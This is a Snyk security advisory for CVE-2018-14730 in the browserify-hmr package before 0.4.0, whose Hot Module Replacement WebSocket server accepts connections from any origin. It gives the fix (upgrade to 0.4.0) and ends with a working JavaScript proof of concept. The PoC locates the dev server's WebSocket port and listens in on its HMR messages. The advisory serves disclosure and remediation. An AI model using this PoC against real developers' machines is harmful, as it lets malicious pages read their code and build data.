Access Restriction Bypass Affecting browserify-hmr package, versions <0.4.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-BROWSERIFYHMR-173684
- published13 Feb 2019
- disclosed21 Sept 2018
- creditchromium1337
Introduced: 21 Sep 2018
CVE-2018-14730 (opens in a new tab)How to fix?
Upgrade browserify-hmr to version 0.4.0 or higher.
Overview
browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.
Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:3123/ connection from any origin.
POC
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
r.text().then(r => {
let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
fetch(`${target}${scriptSrc}`).then(r => {
r.text().then(r => {
let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data)
};
})
})
})
});